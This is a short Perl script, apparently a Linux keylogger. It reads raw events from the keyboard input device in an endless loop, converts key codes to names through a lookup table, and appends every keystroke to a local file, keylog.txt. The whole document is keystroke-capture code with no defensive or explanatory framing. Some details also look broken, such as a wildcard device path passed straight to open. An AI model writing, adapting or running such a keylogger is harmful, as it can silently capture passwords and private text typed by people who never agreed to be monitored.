#!/usr/bin/perl
my @keycode =("","Escape",  "one",  "two",   "three",
   "four","five","six",  "seven", "eight",
   "nine","zero","minus","equal", "Delete",
   "Tab", "q",   "w","e", "r",
   "t",   "y",   "u","i", "o",
   "p",   "bracketleft", "bracketright", "Return","Control",
   "a",   "s",   "d","f", "g",
   "h",   "j",   "k","l", "semicolon",
   "apostrophy",  "grave",   "Shift","backslash", "z",
   "x",   "c",   "v","b", "n",
   "m",   "comma",   "period",   "slash", "Shift",
   "KP_Multiply", "Alt", "space","Caps_Lock", "F1",
   "F2",  "F3",  "F4",   "F5","F6",
   "F7",  "F8",  "F9",   "F10",   "Num_Lock",
   "Scroll_Lock", "KP_7","KP_8", "KP_9",  "KP_Subtract",
   "KP_4","KP_5","KP_6", "KP_Add","KP_1",
   "KP_2","KP_3","KP_0", "KP_Period", "Last_Console",
   "","less","F11",  "F12",   "",
   "","","", "",  "",
   "","KP_Enter","Control",  "KP_Divide", "Control_backslash",
   "Alt", "Break",   "Find", "Up","Prior",
   "Left","Right",   "Select",   "Down",  "Next",
   "Insert",  "Remove",  "Macro","F13",   "F14",
   "Help","Do",  "F17",  "KP_MinPlus", "Pause",
   "","","", "",   "",
   "Alt", "Alt" );
my $watch = 0;
my $keyboard = '/dev/input/event*';
open key, $keyboard;
while (1) {
	my $line = "";
	sysread(key,$line,16);
	my @vals = split(//,$line);
	if (ord($vals[10]) != 00) {
		if (ord($vals[10]) != 4 && ord($vals[12]) != 4) {
			if (ord($vals[12]) != 1) {
				do_it(ord($vals[10]),ord($vals[12]));
			}
		}
	}
}
close key;
exit;
sub do_it {
	my $key = shift;
	my $state = shift;
	$itis = $keycode[$key];
	print $itis . "\n";
	open logger,">>keylog.txt";
	print logger $itis . "";
	close(logger);
}